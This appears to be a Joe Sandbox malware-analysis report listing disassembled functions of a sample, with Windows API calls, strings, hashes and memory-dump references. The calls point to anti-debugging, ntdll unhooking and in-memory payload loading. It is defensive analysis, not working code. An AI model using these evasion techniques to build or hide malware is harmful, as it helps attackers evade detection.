libraryloadernativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQueryInformationProcess,?,?,?,?,7FE42071), ref: 7FE42251
GetProcAddress.KERNEL32(00000000), ref: 7FE4225A
GetCurrentProcess.KERNEL32(00000022,00000000,00000004,?,?,?,?,7FE42071), ref: 7FE4226F
NtQueryInformationProcess.NTDLL(00000000,?,?,?,7FE42071), ref: 7FE42276
GetModuleHandleA.KERNEL32(ntdll,ZwQueryInformationProcess,?,?,?,7FE42071), ref: 7FE42291
GetProcAddress.KERNEL32(00000000), ref: 7FE42294

Strings

ZwQueryInformationProcess, xrefs: 7FE42245, 7FE4224B, 7FE4228B
ntdll, xrefs: 7FE4228C
ntdll.dll, xrefs: 7FE4224C

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: AddressHandleModuleProcProcess$CurrentInformationQuery
String ID: ZwQueryInformationProcess$ntdll$ntdll.dll
API String ID: 460765316-442758927
Opcode ID: b828806d0fd79351611bb38ed87b16235be445b549a03474a29fa1beab70e088
Instruction ID: c43e8887edb143a630375315b9d9582e51a2876b0aac7502fde47bf8d8371ccf
Opcode Fuzzy Hash: b828806d0fd79351611bb38ed87b16235be445b549a03474a29fa1beab70e088
Instruction Fuzzy Hash: 7B01D67BE0030CBBEB0097E5AC49FBE7BBCEB88265F24011AF901E3040D674DA158B64

Function 00412C11 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00412C10,?,?,?,?,?,00413CC2), ref: 00412C33
TerminateProcess.KERNEL32(00000000,?,00412C10,?,?,?,?,?,00413CC2), ref: 00412C3A
ExitProcess.KERNEL32 ref: 00412C4C

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e04fff1fcd62ed4c0ec845f691e2175282aea113ede7df89dcb23ddb00460aeb
Instruction ID: de05ac795346e79980b6987cd1a2e8e64cd183bf83a2b0c727bf905c418a36bc
Opcode Fuzzy Hash: e04fff1fcd62ed4c0ec845f691e2175282aea113ede7df89dcb23ddb00460aeb
Instruction Fuzzy Hash: 8AE04F31101544AFCF252B15CE09A9E3B68FF00341B444029F904C6131DB79DDA3CA88

Function 7FE42DD5 Relevance: 56.4, APIs: 26, Strings: 6, Instructions: 420
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,7FE4208A), ref: 7FE42DFB

Part of subcall function 7FE432D4: GetProcessHeap.KERNEL32(00000000,7FE453D0,00000000,7FE42E0C,7FE453D0), ref: 7FE43310
Part of subcall function 7FE432D4: RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 7FE4331F
Part of subcall function 7FE432D4: memcpy.NTDLL(00000000,02263E58,?), ref: 7FE4333F
Part of subcall function 7FE432D4: memcpy.NTDLL(?,02263E58,00000000), ref: 7FE4336A
Part of subcall function 7FE432D4: IsBadReadPtr.KERNEL32(?,?), ref: 7FE43391
Part of subcall function 7FE432D4: HeapFree.KERNEL32(?,00000000,?), ref: 7FE433AA

HeapDestroy.KERNEL32(?), ref: 7FE42E1A
IsBadReadPtr.KERNEL32(00000000,?), ref: 7FE42E5F
VirtualProtect.KERNELBASE(00000000,?,00000004,00000000), ref: 7FE42E88
memcpy.NTDLL(00000000,?,?), ref: 7FE42E94
VirtualProtect.KERNELBASE(00000000,?,00000000,00000000), ref: 7FE42EA7
VirtualProtect.KERNELBASE(?,0000010A,00000004,00000000), ref: 7FE42ED7
memset.NTDLL ref: 7FE42EE7
memcpy.NTDLL(?,?,00000000), ref: 7FE42F07
GetTickCount.KERNEL32 ref: 7FE42F7D
VirtualProtect.KERNELBASE(?,?,00000020,00000000), ref: 7FE4303F
VirtualAlloc.KERNELBASE(00000000,00001000,00001000,00000040), ref: 7FE43094
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 7FE430A9
RtlCaptureContext.NTDLL(0000040C), ref: 7FE430C2
memcpy.NTDLL(00000000,7FE452E4,00000011), ref: 7FE430D0
memcpy.NTDLL(00000011,7FE433D2,000003EF,00000000,7FE452E4,00000011), ref: 7FE430E3
GetProcessHeap.KERNEL32 ref: 7FE43103
GetModuleHandleA.KERNEL32(ntdll.dll,ZwContinue), ref: 7FE4312D
GetProcAddress.KERNEL32(00000000), ref: 7FE4313A
GetProcAddress.KERNEL32(00000000,VirtualFree), ref: 7FE43146
GetProcAddress.KERNEL32(00000000,HeapDestroy), ref: 7FE43153
VirtualAlloc.KERNEL32(00000000,?,00101000,00000040,00000000,7FE4208A), ref: 7FE431AF
memcpy.NTDLL(00000000,7FE453D8,?), ref: 7FE431C5
memcpy.NTDLL(?,?,?), ref: 7FE431F4
GetTickCount.KERNEL32 ref: 7FE4326F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 7FE432C9

Strings

HeapDestroy, xrefs: 7FE43148
VirtualFree, xrefs: 7FE4313C
ntdll.dll, xrefs: 7FE43117
, xrefs: 7FE42FF7
ZwContinue, xrefs: 7FE43112
kernel32.dll, xrefs: 7FE430A4

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: memcpy$Virtual$Heap$Protect$AddressHandleModuleProc$AllocCountFreeProcessReadTick$AllocateCaptureContextDestroymemset
String ID: $HeapDestroy$VirtualFree$ZwContinue$kernel32.dll$ntdll.dll
API String ID: 1144457544-3596324431
Opcode ID: 4b231ea1ca43c35110b809eeefee1f5c8187e956e1b50f4f7dd18bab82f44ae4
Instruction ID: 732545531038e7714358bfe6ab87001606b6185c74c7238915c452f030bfd5c1
Opcode Fuzzy Hash: 4b231ea1ca43c35110b809eeefee1f5c8187e956e1b50f4f7dd18bab82f44ae4
Instruction Fuzzy Hash: 62F1CC76A00305AFDB21CFA5DC84BAAB7BAFF44348F10552DF906AB241D734E994EB50

Function 7FE319AC Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 7FE319B9

Part of subcall function 7FE31BC0: GetModuleHandleA.KERNEL32(kernel32.dll,?,?,7FE319C5,00000000), ref: 7FE31BD6
Part of subcall function 7FE31BC0: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 7FE31BE2

Part of subcall function 7FE31C06: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
Part of subcall function 7FE31C06: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
Part of subcall function 7FE31C06: GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
Part of subcall function 7FE31C06: malloc.MSVCRT ref: 7FE31C67
Part of subcall function 7FE31C06: ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 7FE31C82
Part of subcall function 7FE31C06: VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 7FE31CB6
Part of subcall function 7FE31C06: memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
Part of subcall function 7FE31C06: memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
Part of subcall function 7FE31C06: free.MSVCRT ref: 7FE31D06
Part of subcall function 7FE31C06: CloseHandle.KERNELBASE(7FE319D1), ref: 7FE31D10

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 7FE319E5
memcpy.MSVCRT(Function_00000000,00000000,?), ref: 7FE31A93
GetCurrentProcess.KERNEL32 ref: 7FE31AC5
IsBadReadPtr.KERNEL32(?,?), ref: 7FE31B09
IsBadReadPtr.KERNEL32(00000000,?), ref: 7FE31B17
memcmp.MSVCRT(?,00000000,?), ref: 7FE31B26
memcpy.MSVCRT(00000000,?,?,?,?,00001000,00000040,?), ref: 7FE31B5B
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 7FE31B98

Strings

ZwProtectVirtualMemory, xrefs: 7FE31A0A
combase.dll, xrefs: 7FE31BA9
%Systemroot%\system32\combase.dll, xrefs: 7FE31BA4
ntdll.dll, xrefs: 7FE319E0
%Systemroot%\system32\ntdll.dll, xrefs: 7FE319C5

Memory Dump Source

Source File: 00000000.00000003.1704847684.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7fe31000_S7AGd447vH.jbxd

Similarity

API ID: memcpy$FileHandleRead$CurrentModuleProcessVirtual$AddressAllocCloseCreateEnvironmentExpandFreeProcSizeStringsfreemallocmemcmp
String ID: %Systemroot%\system32\combase.dll$%Systemroot%\system32\ntdll.dll$ZwProtectVirtualMemory$combase.dll$ntdll.dll
API String ID: 288383237-3427567192
Opcode ID: f1a208d53d8805e2378b0198be8e792b5a9b92c2038927b6b191f4b3b12e1ae7
Instruction ID: e13732920362c93adadf7f955773acdb4f5f8b940de6f6bd2b25e23fa99a90bd
Opcode Fuzzy Hash: f1a208d53d8805e2378b0198be8e792b5a9b92c2038927b6b191f4b3b12e1ae7
Instruction Fuzzy Hash: 4851B375D00319EFDF118FA5C888EEEB7BAEF84335F90415EE802A6140E7396A44CB61

Function 7FE31C06 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99filememoryCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
malloc.MSVCRT ref: 7FE31C67
ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 7FE31C82
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 7FE31CB6
memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
free.MSVCRT ref: 7FE31D06
CloseHandle.KERNELBASE(7FE319D1), ref: 7FE31D10

Strings

MZ, xrefs: 7FE31C8C

Memory Dump Source

Source File: 00000000.00000003.1704847684.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7fe31000_S7AGd447vH.jbxd

Similarity

API ID: File$memcpy$AllocCloseCreateEnvironmentExpandHandleReadSizeStringsVirtualfreemalloc
String ID: MZ
API String ID: 674188835-2410715997
Opcode ID: 226944550cf8b9c8bf3112644910aa94d62cb1f495bc6e49e34df98963ec1635
Instruction ID: 37ed921750a05b1c156510011ba82f53be2a36d11858f4e25eb232333dd4bf60
Opcode Fuzzy Hash: 226944550cf8b9c8bf3112644910aa94d62cb1f495bc6e49e34df98963ec1635
Instruction Fuzzy Hash: 7C31C3BAD00208EFCB208F95CC8CEDEBBBDEF45726F604459F94696140D774AA94DB60

Function 0041B29A Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 0041B522

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: c5fc1acd454c809a3f827d147cfc9e5bbe1309f9dea165f61a64e230980958e6
Instruction ID: ccbdb6b73398ac1f50e4eba1b780227a473e8b811b79760b547c434c52d04649
Opcode Fuzzy Hash: c5fc1acd454c809a3f827d147cfc9e5bbe1309f9dea165f61a64e230980958e6
Instruction Fuzzy Hash: E4C10770E04249AFDB11DF59D880BEEBBB1FF49304F10415AE914A7392C77899C2CBA9

Function 7FE416D7 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 56
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,7FE4208A,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?,?,?,00000000,?), ref: 7FE416E0
GetProcAddress.KERNEL32(00000000,DbgBreakPoint), ref: 7FE416F9
VirtualProtect.KERNELBASE(00000000,00000004,00000040,7FE4208A,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?), ref: 7FE41711
VirtualProtect.KERNELBASE(00000000,00000004,?,7FE4208A,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?), ref: 7FE41722
GetProcAddress.KERNEL32(00000000,DbgUserBreakPoint), ref: 7FE4172A
VirtualProtect.KERNELBASE(00000000,00000004,00000040,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?,?,?,00000000), ref: 7FE4173D
VirtualProtect.KERNELBASE(00000000,00000004,7FE4208A,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?,?,?,00000000), ref: 7FE4174E

Strings

DbgUserBreakPoint, xrefs: 7FE41724
DbgBreakPoint, xrefs: 7FE416F3
ntdll.dll, xrefs: 7FE416DB

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: ProtectVirtual$AddressProc$HandleModule
String ID: DbgBreakPoint$DbgUserBreakPoint$ntdll.dll
API String ID: 2768151571-2163194510
Opcode ID: dc61deef4fa4a8389b5bc066f4f6e32763e1d74a14b8d98a62bb532b6e57c122
Instruction ID: 3f854206d3d5076221b1d09f819529f2bcf6369cecf85685e806e0c7a52382f1
Opcode Fuzzy Hash: dc61deef4fa4a8389b5bc066f4f6e32763e1d74a14b8d98a62bb532b6e57c122
Instruction Fuzzy Hash: FE01D8772083057FD2119655AC40F7B7BBCDBC6574F10021EFF55A21819B74E415467A

Function 0041E647 Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041E300: CreateFileW.KERNELBASE(00000000,00000000,?,0041E6F0,?,?,00000000,?,0041E6F0,00000000,0000000C), ref: 0041E31D

GetLastError.KERNEL32 ref: 0041E75B
__dosmaperr.LIBCMT ref: 0041E762
GetFileType.KERNELBASE(00000000), ref: 0041E76E
GetLastError.KERNEL32 ref: 0041E778
__dosmaperr.LIBCMT ref: 0041E781
CloseHandle.KERNEL32(00000000), ref: 0041E7A1
CloseHandle.KERNEL32(?), ref: 0041E8EE
GetLastError.KERNEL32 ref: 0041E920
__dosmaperr.LIBCMT ref: 0041E927

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 9afa501fba7988bbc51a9d23f1a0abce0e230cb407ae35beeac04adf8d3fcdb9
Instruction ID: 5e3602541a990c6dca23ae760bb8d465da58fae656e24a2382b44c06c340b680
Opcode Fuzzy Hash: 9afa501fba7988bbc51a9d23f1a0abce0e230cb407ae35beeac04adf8d3fcdb9
Instruction Fuzzy Hash: 01A12736A041458FCF19AF69DC51BEE7BA1AB06324F14015EEC11AB3D1DB388D93CB59

Function 7FE41755 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 162
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 7FE4257F: lstrlen.KERNEL32(?,?,?,00000000,?,7FE41777,?,/etc/plugins.plist,?), ref: 7FE4259C

strncmp.NTDLL ref: 7FE4180B
malloc.MSVCRT ref: 7FE4186C
memcpy.NTDLL(00000008,?,?), ref: 7FE41889
free.MSVCRT ref: 7FE418FC

Strings

/etc/plugins.plist, xrefs: 7FE41765
MZ, xrefs: 7FE418CA
x86, xrefs: 7FE41805

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: freelstrlenmallocmemcpystrncmp
String ID: /etc/plugins.plist$MZ$x86
API String ID: 3682158708-1713858012
Opcode ID: 54bb9ffcdce75293fdea451ea1764c5140780be0e9db6a82e14bb8dd9a51f797
Instruction ID: 957808bbf470da9d99de4376462d0edb45fc24e4bfde69fd6e974ca862a0dbb1
Opcode Fuzzy Hash: 54bb9ffcdce75293fdea451ea1764c5140780be0e9db6a82e14bb8dd9a51f797
Instruction Fuzzy Hash: BA510A76D012199FCF01CFE4D9849EEB7B9FF48228F24556EE916B7200E734AA45CB60

Function 7FE42459 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.MSVCRT ref: 7FE424ED
malloc.MSVCRT ref: 7FE42533
memcpy.NTDLL(00000008,00000000,?,?,00000000,?), ref: 7FE42552
free.MSVCRT ref: 7FE4255B

Strings

k, xrefs: 7FE42523
S, xrefs: 7FE4251D
!, xrefs: 7FE42518

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: callocfreemallocmemcpy
String ID: !$S$k
API String ID: 861552148-1352728671
Opcode ID: c9b9c47c16ca03e766a67db26b61f7cbb891e1b8cbf3b34d4765739f8dd69da7
Instruction ID: 604d0970c97af9f6bca1788cb46740802a4dd3dc1fb44fca78aaa917fe2bbe24
Opcode Fuzzy Hash: c9b9c47c16ca03e766a67db26b61f7cbb891e1b8cbf3b34d4765739f8dd69da7
Instruction Fuzzy Hash: 7A316C729087519AE721CE29E850672BFEADFC1315F14C85EF0BFC6442D778E1498722

Function 00580273 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 232memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,?,?,?), ref: 00580391
VirtualAlloc.KERNELBASE(00000000,?,00101000,00000040), ref: 005804A1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0058050B

Strings

S, xrefs: 005803D1
!, xrefs: 005803C8
k, xrefs: 005803DB

Memory Dump Source

Source File: 00000000.00000003.1704912105.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_580000_S7AGd447vH.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID: !$S$k
API String ID: 3668210933-1352728671
Opcode ID: 9b9b3c59536dfe2ac67a7b67f04a7fb9125a8182ea0d4415f552f70be9e8cc3c
Instruction ID: e6d5ac0a6d799273b3a951926eb1be7afac1fc250644e59c7843b58b8bf69cc1
Opcode Fuzzy Hash: 9b9b3c59536dfe2ac67a7b67f04a7fb9125a8182ea0d4415f552f70be9e8cc3c
Instruction Fuzzy Hash: 62916C71D00619ABDFA0EF95C884BAEBBB4BF44304F049559ED59BB281D374E948CFA0

Function 7FE31D81 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(7FE31BB3,00000000,?,?,?,?,?,?,?,7FE31BB3,combase.dll,%Systemroot%\system32\combase.dll), ref: 7FE31D8C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,7FE31BB3,combase.dll,%Systemroot%\system32\combase.dll), ref: 7FE31DA1

Part of subcall function 7FE31C06: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
Part of subcall function 7FE31C06: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
Part of subcall function 7FE31C06: GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
Part of subcall function 7FE31C06: malloc.MSVCRT ref: 7FE31C67
Part of subcall function 7FE31C06: ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 7FE31C82
Part of subcall function 7FE31C06: VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 7FE31CB6
Part of subcall function 7FE31C06: memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
Part of subcall function 7FE31C06: memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
Part of subcall function 7FE31C06: free.MSVCRT ref: 7FE31D06
Part of subcall function 7FE31C06: CloseHandle.KERNELBASE(7FE319D1), ref: 7FE31D10

IsBadReadPtr.KERNEL32(7FE31BB3,00000080), ref: 7FE31E42
IsBadReadPtr.KERNEL32(7FE31BB3,00000080), ref: 7FE31E4E

Part of subcall function 7FE31EEA: memcmp.MSVCRT(7FE31BB3,7FE31E6D,7FE31E6D,7FE31BB3,?,00000080,?,7FE31E6D,7FE31BB3,7FE31BB3,00000080,?,?,?,00000000), ref: 7FE31F0D

memcpy.MSVCRT(7FE31BB3,7FE31BB3,?,?,?,00001000,00000040,00000004,?,?,?,?,?,?,00000000), ref: 7FE31EA2
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,00000000,?,?,?,?,?,?,?,7FE31BB3,combase.dll), ref: 7FE31EDF

Memory Dump Source

Source File: 00000000.00000003.1704847684.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7fe31000_S7AGd447vH.jbxd

Similarity

API ID: FileReadmemcpy$HandleVirtual$AllocCloseCreateCurrentEnvironmentExpandFreeModuleProcessSizeStringsfreemallocmemcmp
String ID:
API String ID: 1807237107-0
Opcode ID: 65760951e2fbb1f37c2ca01f434e78f1b247da36f8d6a80a04fa196cab3b0387
Instruction ID: e66e30e26c8d651dff7f802cc7b867a7bcfc757d2cd4cd66e8dd7680ebece615
Opcode Fuzzy Hash: 65760951e2fbb1f37c2ca01f434e78f1b247da36f8d6a80a04fa196cab3b0387
Instruction Fuzzy Hash: 32416275D00209EFDF019FA6CD88AAEBBBAFF44364F54412EE902E7150E735A954CB60

Function 7FE41EF2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,ZwQueryInformationProcess), ref: 7FE41F00
VirtualProtect.KERNELBASE(00000001,00000004,00000040,?,7FE41EA9,00000000,?,?,?,?), ref: 7FE41F48
InterlockedExchange.KERNEL32(?,7FE41EA4), ref: 7FE41F57
VirtualProtect.KERNELBASE(?,00000004,?,?), ref: 7FE41F69

Strings

ZwQueryInformationProcess, xrefs: 7FE41EF8

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: ProtectVirtual$AddressExchangeInterlockedProc
String ID: ZwQueryInformationProcess
API String ID: 1726986358-1584433389
Opcode ID: cca9fdba920f07e8de881a81ace27208a19ae97a59725a68c8e7acdeb786ef06
Instruction ID: 9d314fcda45d8e175856064bc7b8333d7a3f38f698c62f2d4cac807126b7cea3
Opcode Fuzzy Hash: cca9fdba920f07e8de881a81ace27208a19ae97a59725a68c8e7acdeb786ef06
Instruction Fuzzy Hash: 4F015B3630020ABBDF024EA1DD45FEA3F7AEF856E4F140129FE099A090D731E5668B94

Function 7FE41E0E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 7FE41E1C
GetProcAddress.KERNEL32(00000000,KiUserExceptionDispatcher), ref: 7FE41E2A

Part of subcall function 7FE411B0: memset.NTDLL ref: 7FE411D2

Strings

ntdll.dll, xrefs: 7FE41E17
KiUserExceptionDispatcher, xrefs: 7FE41E24

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: KiUserExceptionDispatcher$ntdll.dll
API String ID: 3137504439-391726712
Opcode ID: 11d2593c27cc74ef7a9c2590feb6ed6d42a7dd48463c0d874392180369953c0b
Instruction ID: bf9c5516763da571611dd8505f09cccef45188715b9c227fe0ff8b64459f62f7
Opcode Fuzzy Hash: 11d2593c27cc74ef7a9c2590feb6ed6d42a7dd48463c0d874392180369953c0b
Instruction Fuzzy Hash: EA11B97AD01306BBCF129B66AC80CBFBB7DFF85264B21165EF90597101E734E55187A0

Function 7FE4344E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11
librarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiA.KERNEL32(?,psdk.dll), ref: 7FE43457
LoadLibraryA.KERNEL32(?), ref: 7FE4346D

Strings

psdk.dll, xrefs: 7FE4344E

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: LibraryLoadlstrcmpi
String ID: psdk.dll
API String ID: 2835099494-3943316854
Opcode ID: 658ba54a6e6afa1ceea7d99fffde5ae9c732553f25227634ff1798c6c998681e
Instruction ID: 97d830ea87723066c88d8f375328ca6ed4df18e57f180154a0a5a4c893f5857c
Opcode Fuzzy Hash: 658ba54a6e6afa1ceea7d99fffde5ae9c732553f25227634ff1798c6c998681e
Instruction Fuzzy Hash: F4C0C939208300ABDA024B55E908A197BA7AB80A55B54851CB84584120C330D429AB02

Function 7FE4194A Relevance: 5.1, APIs: 4, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 7FE4257F: lstrlen.KERNEL32(?,?,?,00000000,?,7FE41777,?,/etc/plugins.plist,?), ref: 7FE4259C

VirtualAlloc.KERNELBASE(00000000,?,00101000,00000040,00000000,?,?,?), ref: 7FE419A3
memcpy.NTDLL(00000000,?,?), ref: 7FE419C2
memcpy.NTDLL(?,?,00000000), ref: 7FE419EC
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 7FE41A4D

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: Virtualmemcpy$AllocFreelstrlen
String ID:
API String ID: 788548360-0
Opcode ID: 1fba82f6f1daba72e5720242b73029a30e16bbe2dfffd2ab4a80a53515d399fc
Instruction ID: d3b4805ca6afd1a5d8c4d5f4bd2ba4f5957bf034018e57e24973636439659fbd
Opcode Fuzzy Hash: 1fba82f6f1daba72e5720242b73029a30e16bbe2dfffd2ab4a80a53515d399fc
Instruction Fuzzy Hash: 6B31F672900304BFCF228F65ED45ABE77A9EF40369B20551EF906E3100E738E910A760

Function 004081D0 Relevance: 4.7, APIs: 3, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
